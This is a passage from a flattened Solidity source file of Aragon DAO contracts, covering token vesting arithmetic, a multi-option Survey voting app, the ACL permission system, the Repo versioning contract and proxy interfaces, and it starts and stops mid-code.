vestedTokens = tokens * (time - start) / (vested - start) // In assignVesting we enforce start <= cliff <= vested // Here we shortcut time >= vested and time < cliff, // so no division by 0 is possible uint256 vestedTokens = tokens.mul(time.sub(start)) / vested.sub(start); // tokens - vestedTokens return tokens.sub(vestedTokens); } function _transferableBalance(address _holder, uint256 _time) internal view returns (uint256) { uint256 transferable = token.balanceOf(_holder); // This check is not strictly necessary for the current version of this contract, as // Token Managers now cannot assign vestings to themselves. // However, this was a possibility in the past, so in case there were vestings assigned to // themselves, this will still return the correct value (entire balance, as the Token // Manager does not have a spending limit on its own balance). if (_holder != address(this)) { uint256 vestingsCount = vestingsLengths[_holder]; for (uint256 i = 0; i < vestingsCount; i++) { TokenVesting storage v = vestings[_holder][i]; uint256 nonTransferable = _calculateNonVestedTokens( v.amount, _time, v.start, v.cliff, v.vesting ); transferable = transferable.sub(nonTransferable); } } return transferable; } } // File: @aragon/apps-survey/contracts/Survey.sol /* * SPDX-License-Identitifer: GPL-3.0-or-later */ pragma solidity 0.4.24; contract Survey is AragonApp { using SafeMath for uint256; using SafeMath64 for uint64; bytes32 public constant CREATE_SURVEYS_ROLE = keccak256("CREATE_SURVEYS_ROLE"); bytes32 public constant MODIFY_PARTICIPATION_ROLE = keccak256("MODIFY_PARTICIPATION_ROLE"); uint64 public constant PCT_BASE = 10 ** 18; // 0% = 0; 1% = 10^16; 100% = 10^18 uint256 public constant ABSTAIN_VOTE = 0; string private constant ERROR_MIN_PARTICIPATION = "SURVEY_MIN_PARTICIPATION"; string private constant ERROR_NO_SURVEY = "SURVEY_NO_SURVEY"; string private constant ERROR_NO_VOTING_POWER = "SURVEY_NO_VOTING_POWER"; string private constant ERROR_CAN_NOT_VOTE = "SURVEY_CAN_NOT_VOTE"; string private constant ERROR_VOTE_WRONG_INPUT = "SURVEY_VOTE_WRONG_INPUT"; string private constant ERROR_VOTE_WRONG_OPTION = "SURVEY_VOTE_WRONG_OPTION"; string private constant ERROR_NO_STAKE = "SURVEY_NO_STAKE"; string private constant ERROR_OPTIONS_NOT_ORDERED = "SURVEY_OPTIONS_NOT_ORDERED"; string private constant ERROR_NO_OPTION = "SURVEY_NO_OPTION"; struct OptionCast { uint256 optionId; uint256 stake; } /* Allows for multiple option votes. * Index 0 is always used for the ABSTAIN_VOTE option, that's calculated automatically by the * contract. */ struct MultiOptionVote { uint256 optionsCastedLength; // `castedVotes` simulates an array // Each OptionCast in `castedVotes` must be ordered by ascending option IDs mapping (uint256 => OptionCast) castedVotes; } struct SurveyStruct { uint64 startDate; uint64 snapshotBlock; uint64 minParticipationPct; uint256 options; uint256 votingPower; // total tokens that can cast a vote uint256 participation; // tokens that casted a vote // Note that option IDs are from 1 to `options`, due to ABSTAIN_VOTE taking 0 mapping (uint256 => uint256) optionPower; // option ID -> voting power for option mapping (address => MultiOptionVote) votes; // voter -> options voted, with its stakes } MiniMeToken public token; uint64 public minParticipationPct; uint64 public surveyTime; // We are mimicing an array, we use a mapping instead to make app upgrade more graceful mapping (uint256 => SurveyStruct) internal surveys; uint256 public surveysLength; event StartSurvey(uint256 indexed surveyId, address indexed creator, string metadata); event CastVote(uint256 indexed surveyId, address indexed voter, uint256 option, uint256 stake, uint256 optionPower); event ResetVote(uint256 indexed surveyId, address indexed voter, uint256 option, uint256 previousStake, uint256 optionPower); event ChangeMinParticipation(uint64 minParticipationPct); modifier acceptableMinParticipationPct(uint64 _minParticipationPct) { require(_minParticipationPct > 0 && _minParticipationPct <= PCT_BASE, ERROR_MIN_PARTICIPATION); _; } modifier surveyExists(uint256 _surveyId) { require(_surveyId < surveysLength, ERROR_NO_SURVEY); _; } /** * @notice Initialize Survey app with `_token.symbol(): string` for governance, minimum acceptance participation of `@formatPct(_minParticipationPct)`%, and a voting duration of `@transformTime(_surveyTime)` * @param _token MiniMeToken address that will be used as governance token * @param _minParticipationPct Percentage of total voting power that must participate in a survey for it to be taken into account (expressed as a 10^18 percentage, (eg 10^16 = 1%, 10^18 = 100%) * @param _surveyTime Seconds that a survey will be open for token holders to vote */ function initialize( MiniMeToken _token, uint64 _minParticipationPct, uint64 _surveyTime ) external onlyInit acceptableMinParticipationPct(_minParticipationPct) { initialized(); token = _token; minParticipationPct = _minParticipationPct; surveyTime = _surveyTime; } /** * @notice Change minimum acceptance participation to `@formatPct(_minParticipationPct)`% * @param _minParticipationPct New acceptance participation */ function changeMinAcceptParticipationPct(uint64 _minParticipationPct) external authP(MODIFY_PARTICIPATION_ROLE, arr(uint256(_minParticipationPct), uint256(minParticipationPct))) acceptableMinParticipationPct(_minParticipationPct) { minParticipationPct = _minParticipationPct; emit ChangeMinParticipation(_minParticipationPct); } /** * @notice Create a new non-binding survey about "`_metadata`" * @param _metadata Survey metadata * @param _options Number of options voters can decide between * @return surveyId id for newly created survey */ function newSurvey(string _metadata, uint256 _options) external auth(CREATE_SURVEYS_ROLE) returns (uint256 surveyId) { uint64 snapshotBlock = getBlockNumber64() - 1; // avoid double voting in this very block uint256 votingPower = token.totalSupplyAt(snapshotBlock); require(votingPower > 0, ERROR_NO_VOTING_POWER); surveyId = surveysLength++; SurveyStruct storage survey = surveys[surveyId]; survey.startDate = getTimestamp64(); survey.snapshotBlock = snapshotBlock; // avoid double voting in this very block survey.minParticipationPct = minParticipationPct; survey.options = _options; survey.votingPower = votingPower; emit StartSurvey(surveyId, msg.sender, _metadata); } /** * @notice Reset previously casted vote in survey #`_surveyId`, if any. * @dev Initialization check is implicitly provided by `surveyExists()` as new surveys can only * be created via `newSurvey(),` which requires initialization * @param _surveyId Id for survey */ function resetVote(uint256 _surveyId) external surveyExists(_surveyId) { require(canVote(_surveyId, msg.sender), ERROR_CAN_NOT_VOTE); _resetVote(_surveyId); } /** * @notice Vote for multiple options in survey #`_surveyId`. * @dev Initialization check is implicitly provided by `surveyExists()` as new surveys can only * be created via `newSurvey(),` which requires initialization * @param _surveyId Id for survey * @param _optionIds Array with indexes of supported options * @param _stakes Number of tokens assigned to each option */ function voteOptions(uint256 _surveyId, uint256[] _optionIds, uint256[] _stakes) external surveyExists(_surveyId) { require(_optionIds.length == _stakes.length && _optionIds.length > 0, ERROR_VOTE_WRONG_INPUT); require(canVote(_surveyId, msg.sender), ERROR_CAN_NOT_VOTE); _voteOptions(_surveyId, _optionIds, _stakes); } /** * @notice Vote option #`_optionId` in survey #`_surveyId`. * @dev Initialization check is implicitly provided by `surveyExists()` as new surveys can only * be created via `newSurvey(),` which requires initialization * @dev It will use the whole balance. * @param _surveyId Id for survey * @param _optionId Index of supported option */ function voteOption(uint256 _surveyId, uint256 _optionId) external surveyExists(_surveyId) { require(canVote(_surveyId, msg.sender), ERROR_CAN_NOT_VOTE); SurveyStruct storage survey = surveys[_surveyId]; // This could re-enter, though we can asume the governance token is not maliciuous uint256 voterStake = token.balanceOfAt(msg.sender, survey.snapshotBlock); uint256[] memory options = new uint256[](1); uint256[] memory stakes = new uint256[](1); options[0] = _optionId; stakes[0] = voterStake; _voteOptions(_surveyId, options, stakes); } // Getter fns function canVote(uint256 _surveyId, address _voter) public view surveyExists(_surveyId) returns (bool) { SurveyStruct storage survey = surveys[_surveyId]; return _isSurveyOpen(survey) && token.balanceOfAt(_voter, survey.snapshotBlock) > 0; } function getSurvey(uint256 _surveyId) public view surveyExists(_surveyId) returns ( bool open, uint64 startDate, uint64 snapshotBlock, uint64 minParticipation, uint256 votingPower, uint256 participation, uint256 options ) { SurveyStruct storage survey = surveys[_surveyId]; open = _isSurveyOpen(survey); startDate = survey.startDate; snapshotBlock = survey.snapshotBlock; minParticipation = survey.minParticipationPct; votingPower = survey.votingPower; participation = survey.participation; options = survey.options; } /** * @dev This is not meant to be used on-chain */ /* solium-disable-next-line function-order */ function getVoterState(uint256 _surveyId, address _voter) external view surveyExists(_surveyId) returns (uint256[] options, uint256[] stakes) { MultiOptionVote storage vote = surveys[_surveyId].votes[_voter]; if (vote.optionsCastedLength == 0) { return (new uint256[](0), new uint256[](0)); } options = new uint256[](vote.optionsCastedLength + 1); stakes = new uint256[](vote.optionsCastedLength + 1); for (uint256 i = 0; i <= vote.optionsCastedLength; i++) { options[i] = vote.castedVotes[i].optionId; stakes[i] = vote.castedVotes[i].stake; } } function getOptionPower(uint256 _surveyId, uint256 _optionId) public view surveyExists(_surveyId) returns (uint256) { SurveyStruct storage survey = surveys[_surveyId]; require(_optionId <= survey.options, ERROR_NO_OPTION); return survey.optionPower[_optionId]; } function isParticipationAchieved(uint256 _surveyId) public view surveyExists(_surveyId) returns (bool) { SurveyStruct storage survey = surveys[_surveyId]; // votingPower is always > 0 uint256 participationPct = survey.participation.mul(PCT_BASE) / survey.votingPower; return participationPct >= survey.minParticipationPct; } // Internal fns /* * @dev Assumes the survey exists and that msg.sender can vote */ function _resetVote(uint256 _surveyId) internal { SurveyStruct storage survey = surveys[_surveyId]; MultiOptionVote storage previousVote = survey.votes[msg.sender]; if (previousVote.optionsCastedLength > 0) { // Voter removes their vote (index 0 is the abstain vote) for (uint256 i = 1; i <= previousVote.optionsCastedLength; i++) { OptionCast storage previousOptionCast = previousVote.castedVotes[i]; uint256 previousOptionPower = survey.optionPower[previousOptionCast.optionId]; uint256 currentOptionPower = previousOptionPower.sub(previousOptionCast.stake); survey.optionPower[previousOptionCast.optionId] = currentOptionPower; emit ResetVote(_surveyId, msg.sender, previousOptionCast.optionId, previousOptionCast.stake, currentOptionPower); } // Compute previously casted votes (i.e. substract non-used tokens from stake) uint256 voterStake = token.balanceOfAt(msg.sender, survey.snapshotBlock); uint256 previousParticipation = voterStake.sub(previousVote.castedVotes[0].stake); // And remove it from total participation survey.participation = survey.participation.sub(previousParticipation); // Reset previously voted options delete survey.votes[msg.sender]; } } /* * @dev Assumes the survey exists and that msg.sender can vote */ function _voteOptions(uint256 _surveyId, uint256[] _optionIds, uint256[] _stakes) internal { SurveyStruct storage survey = surveys[_surveyId]; MultiOptionVote storage senderVotes = survey.votes[msg.sender]; // Revert previous votes, if any _resetVote(_surveyId); uint256 totalVoted = 0; // Reserve first index for ABSTAIN_VOTE senderVotes.castedVotes[0] = OptionCast({ optionId: ABSTAIN_VOTE, stake: 0 }); for (uint256 optionIndex = 1; optionIndex <= _optionIds.length; optionIndex++) { // Voters don't specify that they're abstaining, // but we still keep track of this by reserving the first index of a survey's votes. // We subtract 1 from the indexes of the arrays passed in by the voter to account for this. uint256 optionId = _optionIds[optionIndex - 1]; uint256 stake = _stakes[optionIndex - 1]; require(optionId != ABSTAIN_VOTE && optionId <= survey.options, ERROR_VOTE_WRONG_OPTION); require(stake > 0, ERROR_NO_STAKE); // Let's avoid repeating an option by making sure that ascending order is preserved in // the options array by checking that the current optionId is larger than the last one // we added require(senderVotes.castedVotes[optionIndex - 1].optionId < optionId, ERROR_OPTIONS_NOT_ORDERED); // Register voter amount senderVotes.castedVotes[optionIndex] = OptionCast({ optionId: optionId, stake: stake }); // Add to total option support survey.optionPower[optionId] = survey.optionPower[optionId].add(stake); // Keep track of stake used so far totalVoted = totalVoted.add(stake); emit CastVote(_surveyId, msg.sender, optionId, stake, survey.optionPower[optionId]); } // Compute and register non used tokens // Implictly we are doing require(totalVoted <= voterStake) too // (as stated before, index 0 is for ABSTAIN_VOTE option) uint256 voterStake = token.balanceOfAt(msg.sender, survey.snapshotBlock); senderVotes.castedVotes[0].stake = voterStake.sub(totalVoted); // Register number of options voted senderVotes.optionsCastedLength = _optionIds.length; // Add voter tokens to participation survey.participation = survey.participation.add(totalVoted); assert(survey.participation <= survey.votingPower); } function _isSurveyOpen(SurveyStruct storage _survey) internal view returns (bool) { return getTimestamp64() < _survey.startDate.add(surveyTime); } } // File: @aragon/os/contracts/acl/IACLOracle.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; interface IACLOracle { function canPerform(address who, address where, bytes32 what, uint256[] how) external view returns (bool); } // File: @aragon/os/contracts/acl/ACL.sol pragma solidity 0.4.24; /* solium-disable function-order */ // Allow public initialize() to be first contract ACL is IACL, TimeHelpers, AragonApp, ACLHelpers { /* Hardcoded constants to save gas bytes32 public constant CREATE_PERMISSIONS_ROLE = keccak256("CREATE_PERMISSIONS_ROLE"); */ bytes32 public constant CREATE_PERMISSIONS_ROLE = 0x0b719b33c83b8e5d300c521cb8b54ae9bd933996a14bef8c2f4e0285d2d2400a; enum Op { NONE, EQ, NEQ, GT, LT, GTE, LTE, RET, NOT, AND, OR, XOR, IF_ELSE } // op types struct Param { uint8 id; uint8 op; uint240 value; // even though value is an uint240 it can store addresses // in the case of 32 byte hashes losing 2 bytes precision isn't a huge deal // op and id take less than 1 byte each so it can be kept in 1 sstore } uint8 internal constant BLOCK_NUMBER_PARAM_ID = 200; uint8 internal constant TIMESTAMP_PARAM_ID = 201; // 202 is unused uint8 internal constant ORACLE_PARAM_ID = 203; uint8 internal constant LOGIC_OP_PARAM_ID = 204; uint8 internal constant PARAM_VALUE_PARAM_ID = 205; // TODO: Add execution times param type? /* Hardcoded constant to save gas bytes32 public constant EMPTY_PARAM_HASH = keccak256(uint256(0)); */ bytes32 public constant EMPTY_PARAM_HASH = 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563; bytes32 public constant NO_PERMISSION = bytes32(0); address public constant ANY_ENTITY = address(-1); address public constant BURN_ENTITY = address(1); // address(0) is already used as "no permission manager" uint256 internal constant ORACLE_CHECK_GAS = 30000; string private constant ERROR_AUTH_INIT_KERNEL = "ACL_AUTH_INIT_KERNEL"; string private constant ERROR_AUTH_NO_MANAGER = "ACL_AUTH_NO_MANAGER"; string private constant ERROR_EXISTENT_MANAGER = "ACL_EXISTENT_MANAGER"; // Whether someone has a permission mapping (bytes32 => bytes32) internal permissions; // permissions hash => params hash mapping (bytes32 => Param[]) internal permissionParams; // params hash => params // Who is the manager of a permission mapping (bytes32 => address) internal permissionManager; event SetPermission(address indexed entity, address indexed app, bytes32 indexed role, bool allowed); event SetPermissionParams(address indexed entity, address indexed app, bytes32 indexed role, bytes32 paramsHash); event ChangePermissionManager(address indexed app, bytes32 indexed role, address indexed manager); modifier onlyPermissionManager(address _app, bytes32 _role) { require(msg.sender == getPermissionManager(_app, _role), ERROR_AUTH_NO_MANAGER); _; } modifier noPermissionManager(address _app, bytes32 _role) { // only allow permission creation (or re-creation) when there is no manager require(getPermissionManager(_app, _role) == address(0), ERROR_EXISTENT_MANAGER); _; } /** * @dev Initialize can only be called once. It saves the block number in which it was initialized. * @notice Initialize an ACL instance and set `_permissionsCreator` as the entity that can create other permissions * @param _permissionsCreator Entity that will be given permission over createPermission */ function initialize(address _permissionsCreator) public onlyInit { initialized(); require(msg.sender == address(kernel()), ERROR_AUTH_INIT_KERNEL); _createPermission(_permissionsCreator, this, CREATE_PERMISSIONS_ROLE, _permissionsCreator); } /** * @dev Creates a permission that wasn't previously set and managed. * If a created permission is removed it is possible to reset it with createPermission. * This is the **ONLY** way to create permissions and set managers to permissions that don't * have a manager. * In terms of the ACL being initialized, this function implicitly protects all the other * state-changing external functions, as they all require the sender to be a manager. * @notice Create a new permission granting `_entity` the ability to perform actions requiring `_role` on `_app`, setting `_manager` as the permission's manager * @param _entity Address of the whitelisted entity that will be able to perform the role * @param _app Address of the app in which the role will be allowed (requires app to depend on kernel for ACL) * @param _role Identifier for the group of actions in app given access to perform * @param _manager Address of the entity that will be able to grant and revoke the permission further. */ function createPermission(address _entity, address _app, bytes32 _role, address _manager) external auth(CREATE_PERMISSIONS_ROLE) noPermissionManager(_app, _role) { _createPermission(_entity, _app, _role, _manager); } /** * @dev Grants permission if allowed. This requires `msg.sender` to be the permission manager * @notice Grant `_entity` the ability to perform actions requiring `_role` on `_app` * @param _entity Address of the whitelisted entity that will be able to perform the role * @param _app Address of the app in which the role will be allowed (requires app to depend on kernel for ACL) * @param _role Identifier for the group of actions in app given access to perform */ function grantPermission(address _entity, address _app, bytes32 _role) external { grantPermissionP(_entity, _app, _role, new uint256[](0)); } /** * @dev Grants a permission with parameters if allowed. This requires `msg.sender` to be the permission manager * @notice Grant `_entity` the ability to perform actions requiring `_role` on `_app` * @param _entity Address of the whitelisted entity that will be able to perform the role * @param _app Address of the app in which the role will be allowed (requires app to depend on kernel for ACL) * @param _role Identifier for the group of actions in app given access to perform * @param _params Permission parameters */ function grantPermissionP(address _entity, address _app, bytes32 _role, uint256[] _params) public onlyPermissionManager(_app, _role) { bytes32 paramsHash = _params.length > 0 ? _saveParams(_params) : EMPTY_PARAM_HASH; _setPermission(_entity, _app, _role, paramsHash); } /** * @dev Revokes permission if allowed. This requires `msg.sender` to be the the permission manager * @notice Revoke from `_entity` the ability to perform actions requiring `_role` on `_app` * @param _entity Address of the whitelisted entity to revoke access from * @param _app Address of the app in which the role will be revoked * @param _role Identifier for the group of actions in app being revoked */ function revokePermission(address _entity, address _app, bytes32 _role) external onlyPermissionManager(_app, _role) { _setPermission(_entity, _app, _role, NO_PERMISSION); } /** * @notice Set `_newManager` as the manager of `_role` in `_app` * @param _newManager Address for the new manager * @param _app Address of the app in which the permission management is being transferred * @param _role Identifier for the group of actions being transferred */ function setPermissionManager(address _newManager, address _app, bytes32 _role) external onlyPermissionManager(_app, _role) { _setPermissionManager(_newManager, _app, _role); } /** * @notice Remove the manager of `_role` in `_app` * @param _app Address of the app in which the permission is being unmanaged * @param _role Identifier for the group of actions being unmanaged */ function removePermissionManager(address _app, bytes32 _role) external onlyPermissionManager(_app, _role) { _setPermissionManager(address(0), _app, _role); } /** * @notice Burn non-existent `_role` in `_app`, so no modification can be made to it (grant, revoke, permission manager) * @param _app Address of the app in which the permission is being burned * @param _role Identifier for the group of actions being burned */ function createBurnedPermission(address _app, bytes32 _role) external auth(CREATE_PERMISSIONS_ROLE) noPermissionManager(_app, _role) { _setPermissionManager(BURN_ENTITY, _app, _role); } /** * @notice Burn `_role` in `_app`, so no modification can be made to it (grant, revoke, permission manager) * @param _app Address of the app in which the permission is being burned * @param _role Identifier for the group of actions being burned */ function burnPermissionManager(address _app, bytes32 _role) external onlyPermissionManager(_app, _role) { _setPermissionManager(BURN_ENTITY, _app, _role); } /** * @notice Get parameters for permission array length * @param _entity Address of the whitelisted entity that will be able to perform the role * @param _app Address of the app * @param _role Identifier for a group of actions in app * @return Length of the array */ function getPermissionParamsLength(address _entity, address _app, bytes32 _role) external view returns (uint) { return permissionParams[permissions[permissionHash(_entity, _app, _role)]].length; } /** * @notice Get parameter for permission * @param _entity Address of the whitelisted entity that will be able to perform the role * @param _app Address of the app * @param _role Identifier for a group of actions in app * @param _index Index of parameter in the array * @return Parameter (id, op, value) */ function getPermissionParam(address _entity, address _app, bytes32 _role, uint _index) external view returns (uint8, uint8, uint240) { Param storage param = permissionParams[permissions[permissionHash(_entity, _app, _role)]][_index]; return (param.id, param.op, param.value); } /** * @dev Get manager for permission * @param _app Address of the app * @param _role Identifier for a group of actions in app * @return address of the manager for the permission */ function getPermissionManager(address _app, bytes32 _role) public view returns (address) { return permissionManager[roleHash(_app, _role)]; } /** * @dev Function called by apps to check ACL on kernel or to check permission statu * @param _who Sender of the original call * @param _where Address of the app * @param _where Identifier for a group of actions in app * @param _how Permission parameters * @return boolean indicating whether the ACL allows the role or not */ function hasPermission(address _who, address _where, bytes32 _what, bytes memory _how) public view returns (bool) { return hasPermission(_who, _where, _what, ConversionHelpers.dangerouslyCastBytesToUintArray(_how)); } function hasPermission(address _who, address _where, bytes32 _what, uint256[] memory _how) public view returns (bool) { bytes32 whoParams = permissions[permissionHash(_who, _where, _what)]; if (whoParams != NO_PERMISSION && evalParams(whoParams, _who, _where, _what, _how)) { return true; } bytes32 anyParams = permissions[permissionHash(ANY_ENTITY, _where, _what)]; if (anyParams != NO_PERMISSION && evalParams(anyParams, ANY_ENTITY, _where, _what, _how)) { return true; } return false; } function hasPermission(address _who, address _where, bytes32 _what) public view returns (bool) { uint256[] memory empty = new uint256[](0); return hasPermission(_who, _where, _what, empty); } function evalParams( bytes32 _paramsHash, address _who, address _where, bytes32 _what, uint256[] _how ) public view returns (bool) { if (_paramsHash == EMPTY_PARAM_HASH) { return true; } return _evalParam(_paramsHash, 0, _who, _where, _what, _how); } /** * @dev Internal createPermission for access inside the kernel (on instantiation) */ function _createPermission(address _entity, address _app, bytes32 _role, address _manager) internal { _setPermission(_entity, _app, _role, EMPTY_PARAM_HASH); _setPermissionManager(_manager, _app, _role); } /** * @dev Internal function called to actually save the permission */ function _setPermission(address _entity, address _app, bytes32 _role, bytes32 _paramsHash) internal { permissions[permissionHash(_entity, _app, _role)] = _paramsHash; bool entityHasPermission = _paramsHash != NO_PERMISSION; bool permissionHasParams = entityHasPermission && _paramsHash != EMPTY_PARAM_HASH; emit SetPermission(_entity, _app, _role, entityHasPermission); if (permissionHasParams) { emit SetPermissionParams(_entity, _app, _role, _paramsHash); } } function _saveParams(uint256[] _encodedParams) internal returns (bytes32) { bytes32 paramHash = keccak256(abi.encodePacked(_encodedParams)); Param[] storage params = permissionParams[paramHash]; if (params.length == 0) { // params not saved before for (uint256 i = 0; i < _encodedParams.length; i++) { uint256 encodedParam = _encodedParams[i]; Param memory param = Param(decodeParamId(encodedParam), decodeParamOp(encodedParam), uint240(encodedParam)); params.push(param); } } return paramHash; } function _evalParam( bytes32 _paramsHash, uint32 _paramId, address _who, address _where, bytes32 _what, uint256[] _how ) internal view returns (bool) { if (_paramId >= permissionParams[_paramsHash].length) { return false; // out of bounds } Param memory param = permissionParams[_paramsHash][_paramId]; if (param.id == LOGIC_OP_PARAM_ID) { return _evalLogic(param, _paramsHash, _who, _where, _what, _how); } uint256 value; uint256 comparedTo = uint256(param.value); // get value if (param.id == ORACLE_PARAM_ID) { value = checkOracle(IACLOracle(param.value), _who, _where, _what, _how) ? 1 : 0; comparedTo = 1; } else if (param.id == BLOCK_NUMBER_PARAM_ID) { value = getBlockNumber(); } else if (param.id == TIMESTAMP_PARAM_ID) { value = getTimestamp(); } else if (param.id == PARAM_VALUE_PARAM_ID) { value = uint256(param.value); } else { if (param.id >= _how.length) { return false; } value = uint256(uint240(_how[param.id])); // force lost precision } if (Op(param.op) == Op.RET) { return uint256(value) > 0; } return compare(value, Op(param.op), comparedTo); } function _evalLogic(Param _param, bytes32 _paramsHash, address _who, address _where, bytes32 _what, uint256[] _how) internal view returns (bool) { if (Op(_param.op) == Op.IF_ELSE) { uint32 conditionParam; uint32 successParam; uint32 failureParam; (conditionParam, successParam, failureParam) = decodeParamsList(uint256(_param.value)); bool result = _evalParam(_paramsHash, conditionParam, _who, _where, _what, _how); return _evalParam(_paramsHash, result ? successParam : failureParam, _who, _where, _what, _how); } uint32 param1; uint32 param2; (param1, param2,) = decodeParamsList(uint256(_param.value)); bool r1 = _evalParam(_paramsHash, param1, _who, _where, _what, _how); if (Op(_param.op) == Op.NOT) { return !r1; } if (r1 && Op(_param.op) == Op.OR) { return true; } if (!r1 && Op(_param.op) == Op.AND) { return false; } bool r2 = _evalParam(_paramsHash, param2, _who, _where, _what, _how); if (Op(_param.op) == Op.XOR) { return r1 != r2; } return r2; // both or and and depend on result of r2 after checks } function compare(uint256 _a, Op _op, uint256 _b) internal pure returns (bool) { if (_op == Op.EQ) return _a == _b; // solium-disable-line lbrace if (_op == Op.NEQ) return _a != _b; // solium-disable-line lbrace if (_op == Op.GT) return _a > _b; // solium-disable-line lbrace if (_op == Op.LT) return _a < _b; // solium-disable-line lbrace if (_op == Op.GTE) return _a >= _b; // solium-disable-line lbrace if (_op == Op.LTE) return _a <= _b; // solium-disable-line lbrace return false; } function checkOracle(IACLOracle _oracleAddr, address _who, address _where, bytes32 _what, uint256[] _how) internal view returns (bool) { bytes4 sig = _oracleAddr.canPerform.selector; // a raw call is required so we can return false if the call reverts, rather than reverting bytes memory checkCalldata = abi.encodeWithSelector(sig, _who, _where, _what, _how); uint256 oracleCheckGas = ORACLE_CHECK_GAS; bool ok; assembly { ok := staticcall(oracleCheckGas, _oracleAddr, add(checkCalldata, 0x20), mload(checkCalldata), 0, 0) } if (!ok) { return false; } uint256 size; assembly { size := returndatasize } if (size != 32) { return false; } bool result; assembly { let ptr := mload(0x40) // get next free memory ptr returndatacopy(ptr, 0, size) // copy return from above `staticcall` result := mload(ptr) // read data at ptr and set it to result mstore(ptr, 0) // set pointer memory to 0 so it still is the next free ptr } return result; } /** * @dev Internal function that sets management */ function _setPermissionManager(address _newManager, address _app, bytes32 _role) internal { permissionManager[roleHash(_app, _role)] = _newManager; emit ChangePermissionManager(_app, _role, _newManager); } function roleHash(address _where, bytes32 _what) internal pure returns (bytes32) { return keccak256(abi.encodePacked("ROLE", _where, _what)); } function permissionHash(address _who, address _where, bytes32 _what) internal pure returns (bytes32) { return keccak256(abi.encodePacked("PERMISSION", _who, _where, _what)); } } // File: @aragon/os/contracts/apm/Repo.sol pragma solidity 0.4.24; /* solium-disable function-order */ // Allow public initialize() to be first contract Repo is AragonApp { /* Hardcoded constants to save gas bytes32 public constant CREATE_VERSION_ROLE = keccak256("CREATE_VERSION_ROLE"); */ bytes32 public constant CREATE_VERSION_ROLE = 0x1f56cfecd3595a2e6cc1a7e6cb0b20df84cdbd92eff2fee554e70e4e45a9a7d8; string private constant ERROR_INVALID_BUMP = "REPO_INVALID_BUMP"; string private constant ERROR_INVALID_VERSION = "REPO_INVALID_VERSION"; string private constant ERROR_INEXISTENT_VERSION = "REPO_INEXISTENT_VERSION"; struct Version { uint16[3] semanticVersion; address contractAddress; bytes contentURI; } uint256 internal versionsNextIndex; mapping (uint256 => Version) internal versions; mapping (bytes32 => uint256) internal versionIdForSemantic; mapping (address => uint256) internal latestVersionIdForContract; event NewVersion(uint256 versionId, uint16[3] semanticVersion); /** * @dev Initialize can only be called once. It saves the block number in which it was initialized. * @notice Initialize this Repo */ function initialize() public onlyInit { initialized(); versionsNextIndex = 1; } /** * @notice Create new version with contract `_contractAddress` and content `@fromHex(_contentURI)` * @param _newSemanticVersion Semantic version for new repo version * @param _contractAddress address for smart contract logic for version (if set to 0, it uses last versions' contractAddress) * @param _contentURI External URI for fetching new version's content */ function newVersion( uint16[3] _newSemanticVersion, address _contractAddress, bytes _contentURI ) public auth(CREATE_VERSION_ROLE) { address contractAddress = _contractAddress; uint256 lastVersionIndex = versionsNextIndex - 1; uint16[3] memory lastSematicVersion; if (lastVersionIndex > 0) { Version storage lastVersion = versions[lastVersionIndex]; lastSematicVersion = lastVersion.semanticVersion; if (contractAddress == address(0)) { contractAddress = lastVersion.contractAddress; } // Only allows smart contract change on major version bumps require( lastVersion.contractAddress == contractAddress || _newSemanticVersion[0] > lastVersion.semanticVersion[0], ERROR_INVALID_VERSION ); } require(isValidBump(lastSematicVersion, _newSemanticVersion), ERROR_INVALID_BUMP); uint256 versionId = versionsNextIndex++; versions[versionId] = Version(_newSemanticVersion, contractAddress, _contentURI); versionIdForSemantic[semanticVersionHash(_newSemanticVersion)] = versionId; latestVersionIdForContract[contractAddress] = versionId; emit NewVersion(versionId, _newSemanticVersion); } function getLatest() public view returns (uint16[3] semanticVersion, address contractAddress, bytes contentURI) { return getByVersionId(versionsNextIndex - 1); } function getLatestForContractAddress(address _contractAddress) public view returns (uint16[3] semanticVersion, address contractAddress, bytes contentURI) { return getByVersionId(latestVersionIdForContract[_contractAddress]); } function getBySemanticVersion(uint16[3] _semanticVersion) public view returns (uint16[3] semanticVersion, address contractAddress, bytes contentURI) { return getByVersionId(versionIdForSemantic[semanticVersionHash(_semanticVersion)]); } function getByVersionId(uint _versionId) public view returns (uint16[3] semanticVersion, address contractAddress, bytes contentURI) { require(_versionId > 0 && _versionId < versionsNextIndex, ERROR_INEXISTENT_VERSION); Version storage version = versions[_versionId]; return (version.semanticVersion, version.contractAddress, version.contentURI); } function getVersionsCount() public view returns (uint256) { return versionsNextIndex - 1; } function isValidBump(uint16[3] _oldVersion, uint16[3] _newVersion) public pure returns (bool) { bool hasBumped; uint i = 0; while (i < 3) { if (hasBumped) { if (_newVersion[i] != 0) { return false; } } else if (_newVersion[i] != _oldVersion[i]) { if (_oldVersion[i] > _newVersion[i] || _newVersion[i] - _oldVersion[i] != 1) { return false; } hasBumped = true; } i++; } return hasBumped; } function semanticVersionHash(uint16[3] version) internal pure returns (bytes32) { return keccak256(abi.encodePacked(version[0], version[1], version[2])); } } // File: @aragon/os/contracts/apm/APMNamehash.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract APMNamehash { /* Hardcoded constants to save gas bytes32 internal constant APM_NODE = keccak256(abi.encodePacked(ETH_TLD_NODE, keccak256(abi.encodePacked("aragonpm")))); */ bytes32 internal constant APM_NODE = 0x9065c3e7f7b7ef1ef4e53d2d0b8e0cef02874ab020c1ece79d5f0d3d0111c0ba; function apmNamehash(string name) internal pure returns (bytes32) { return keccak256(abi.encodePacked(APM_NODE, keccak256(bytes(name)))); } } // File: @aragon/os/contracts/kernel/KernelStorage.sol pragma solidity 0.4.24; contract KernelStorage { // namespace => app id => address mapping (bytes32 => mapping (bytes32 => address)) public apps; bytes32 public recoveryVaultAppId; } // File: @aragon/os/contracts/lib/misc/ERCProxy.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract ERCProxy { uint256 internal constant FORWARDING = 1; uint256 internal constant UPGRADEABLE = 2; function proxyType() public pure returns (uint256 proxyTypeId); function implementation() public view returns (address codeAddr); } // File: @aragon/os/contracts/common/DelegateProxy.sol pragma solidity 0.4.24; contract DelegateProxy is ERCProxy, IsContract { uint256 internal constant FWD_GAS_LIMIT = 10000; /** * @dev Performs a delegatecall and returns whatever the delegatecall returned (entire context execution will return!) * @param _dst Destination address to perform the delegatecall * @param _calldata Calldata for the delegatecall */ function delegatedFwd(address _dst, bytes _calldata) internal { require(isContract(_dst)); uint256 fwdGasLimit = 